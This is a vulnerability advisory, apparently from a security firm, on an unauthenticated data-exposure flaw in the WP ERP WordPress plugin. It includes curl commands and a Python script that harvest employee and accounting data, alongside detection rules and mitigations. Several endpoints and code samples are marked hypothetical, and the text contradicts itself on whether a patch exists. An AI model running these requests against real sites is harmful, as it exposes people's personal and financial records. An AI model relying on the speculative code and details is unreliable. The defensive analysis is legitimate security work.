CVE-2025-67546

Executive Summary

CVE-2025-67546 is a medium-severity information disclosure vulnerability affecting the WordPress plugin WP ERP by weDevs, up to and including version 1.16.6. The flaw allows an unauthenticated attacker to retrieve sensitive system information from the ERP plugin’s internal data stores, potentially exposing employee records, financial data, or configuration details. This vulnerability is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and is mapped to MITRE ATT&CK tactic T1083 (File and Directory Discovery). No public proof-of-concept or patch is currently available, but the risk is elevated for organizations using this plugin in production environments.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Organizations should verify the integrity of their plugin installation and monitor for updates from weDevs. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The low attack complexity and lack of authentication requirements make this vulnerability easily exploitable. While the impact is limited to confidentiality, the potential exposure of sensitive ERP data (e.g., employee PII, financial records) warrants a medium severity rating.

Deep Dive & Mechanics

The vulnerability stems from improper access controls in the WP ERP plugin’s REST API endpoints or AJAX handlers. The plugin exposes internal data (such as employee lists, HR records, or accounting logs) without verifying user permissions. An unauthenticated attacker can send crafted HTTP requests to retrieve this data.

Root Cause: The plugin fails to enforce capability checks (e.g., current_user_can()) on sensitive endpoints, allowing any visitor to query the ERP database.

Attack Vector:

1. Attacker identifies the vulnerable endpoint (e.g., /wp-json/erp/v1/employees or /wp-admin/admin-ajax.php?action=erp_get_employees).
2. Sends a GET request without authentication.
3. Server returns JSON or XML containing sensitive ERP data.

Example vulnerable endpoint (hypothetical):

GET /wp-json/erp/v1/employees HTTP/1.1
Host: target-site.com

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.16.6):

add_action('wp_ajax_nopriv_erp_get_employees', 'erp_get_employees');
function erp_get_employees() {
    $employees = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}erp_hr_employees");
    wp_send_json($employees);
}

Patched Code (hypothetical):

add_action('wp_ajax_erp_get_employees', 'erp_get_employees');
add_action('wp_ajax_nopriv_erp_get_employees', 'erp_get_employees_noauth');
function erp_get_employees() {
    if (!current_user_can('erp_view_employees')) {
        wp_die('Unauthorized', 403);
    }
    $employees = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}erp_hr_employees");
    wp_send_json($employees);
}
function erp_get_employees_noauth() {
    wp_die('Unauthorized', 403);
}

The patched version adds a capability check (current_user_can()) and removes the nopriv_ action for sensitive data retrieval.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with WP ERP plugin version 1.16.6.
2. Add sample employee data via the plugin’s HR module.
3. Use curl or Burp Suite to probe endpoints.

Exploitation Steps:

1. Enumerate endpoints:

   curl -s http://target/wp-json/erp/v1/employees | jq .
   

2. If blocked, try AJAX:

   curl -s "http://target/wp-admin/admin-ajax.php?action=erp_get_employees"
   

3. Extract data:

   curl -s "http://target/wp-json/erp/v1/employees" -o leaked_employees.json
   

Automated Exploit (Python):

import requests
import json

target = "http://target-site.com"
endpoints = [
    "/wp-json/erp/v1/employees",
    "/wp-json/erp/v1/attendance",
    "/wp-json/erp/v1/accounting"
]

for ep in endpoints:
    r = requests.get(target + ep)
    if r.status_code == 200 and len(r.text) > 0:
        print(f"[+] Data leaked from {ep}")
        print(json.dumps(r.json(), indent=2))

Blue Team (Defensive)

Detection:

• Monitor for unusual GET requests to /wp-json/erp/v1/* or admin-ajax.php?action=erp_* from unauthenticated IPs.
• Check web server logs for 200 responses to these endpoints without prior authentication.

Mitigation:

• Immediately disable the WP ERP plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated access to /wp-json/erp/v1/*.
• Use a reverse proxy to restrict access to sensitive endpoints.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-json/erp/v1/employees or similar endpoints.
• User-Agent strings from common scanning tools (e.g., curl, python-requests).

File IOCs:

• Unexpected JSON files in web root (e.g., leaked_employees.json).
• Modified .htaccess or wp-config.php files.

Log IOCs:

• Repeated 200 responses to /wp-json/erp/v1/* from the same IP.
• Absence of wp_erp_* capability checks in access logs.

Detection Engineering

YARA Rule

rule CVE_2025_67546_WP_ERP_InfoDisclosure {
    meta:
        description = "Detects WP ERP plugin version <= 1.16.6 vulnerable to info disclosure"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67546"
    strings:
        $vuln_func = "wp_ajax_nopriv_erp_" nocase
        $vuln_endpoint = "/wp-json/erp/v1/" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-67546 WP ERP Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to WP ERP sensitive endpoints
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/wp-json/erp/v1/'
            - 'action=erp_get_'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-67546 WP ERP Information Disclosure Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-json/erp/v1/"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP ERP plugin until a patch is released.
2. Implement a WAF rule to block unauthenticated requests to /wp-json/erp/v1/* and admin-ajax.php?action=erp_*.
3. Review access logs for signs of exploitation.

Long-Term Fix:

• Apply the vendor patch when released (monitor weDevs changelog).
• Upgrade to WP ERP version > 1.16.6.
• Enforce least privilege for all REST API endpoints.

Workaround:

• Add the following to .htaccess:

  <IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_URI} ^/wp-json/erp/v1/ [NC]
  RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
  RewriteRule .* - [F,L]
  </IfModule>
  

Valters IT
Securing Digital Frontiers